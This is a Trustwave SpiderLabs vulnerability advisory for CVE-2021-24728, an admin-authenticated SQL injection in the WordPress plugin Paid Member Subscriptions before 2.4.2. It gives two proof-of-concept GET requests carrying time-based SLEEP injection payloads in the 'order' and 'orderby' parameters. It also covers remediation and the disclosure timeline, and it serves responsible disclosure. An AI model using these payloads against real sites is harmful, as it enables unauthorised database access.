Trustwave SpiderLabs Security Advisory TWSL2021-012: Vulnerabilities in WordPress Plugin Membership & Content Restriction - Paid Member Subscriptions Published: 09/10/2021 Version: 1.1 Vendor: Cosmoslabs (https://www.cozmoslabs.com/) Product: WordPress Plugin Membership & Content Restriction - Paid Member Subscriptions Version affected: < 2.4.2 Product description: The plugin provides functionality for managing users, including membership levels, payment, and access restriction. Finding 1: Authenticated SQL Injection *****Credit: Martin Vierula of Trustwave CVE: CVE-2021-24728 CWE: CWE-89 Multiple parameters are vulnerable to authenticated (admin+) SQL injection. In the 'Members' page search, the 'order' parameter is vulnerable. In the 'Payments' page search, both the 'order' and 'orderby' parameters are vulnerable. The following PoC outlines a time-based version of exploiting the vulnerability in the Members search 'order' parameter: GET /wp/wp-admin/admin.php?page=pms-members-page&s=a&pms-bulk-actions=&pms-bulk-actions=&_wpnonce=03b65c5735&_wp_http_referer=%2Fwp%2Fwp-admin%2Fadmin.php%3Fpage%3Dpms-members-page&paged=1&pms-filter-subscription-plan=&pms-filter-payment-gateway=&pms-filter-start-date=&pms-datepicker-start-date-beginning=&pms-datepicker-start-date-end=&pms-filter-expiration-date=&pms-datepicker-expiration-date-beginning=&pms-datepicker-expiration-date-end=&orderby=username&order=,%28SELECT%20*%20FROM%20%28SELECT%28SLEEP%288%29%29%29a%29 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wp/wp-admin/admin.php?page=pms-members-page Connection: keep-alive Cookie: Upgrade-Insecure-Requests: 1 The following PoC outlines a time-based version of exploiting the vulnerability in the Payload search 'orderby' parameter: GET /wp/wp-admin/admin.php?page=pms-payments-page&s=a&_wpnonce=393d8d31f6&_wp_http_referer=%2Fwp%2Fwp-admin%2Fadmin.php%3Fpage%3Dpms-payments-page%26message%3D1%26updated%3D1&paged=1&orderby=status,%28SELECT%20*%20FROM%20%28SELECT%28SLEEP%284%29%29%29a%29&order=DESC HTTP/1.1 Remediation Steps: Upgrade the Paid Member Subscriptions Wordpress plugin to version 2.4.2 or the latest stable release. Revision History: 04/20/2021 - Initial email to vendor 05/03/2021 - 2nd attempt to contact vendor 07/16/2021 - 3rd attempt to contact vendor 07/16/2021 - Disclosed finding to plugins@wordpress.com 07/17/2021 - Vendor releases fix 08/06/2021 - Advisory verson 1.0 published 09/10/2021 - CVE assigned 09/10/2021 - Advisory version 1.1 published References 1. https://wordpress.org/plugins/paid-member-subscriptions/#developers About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.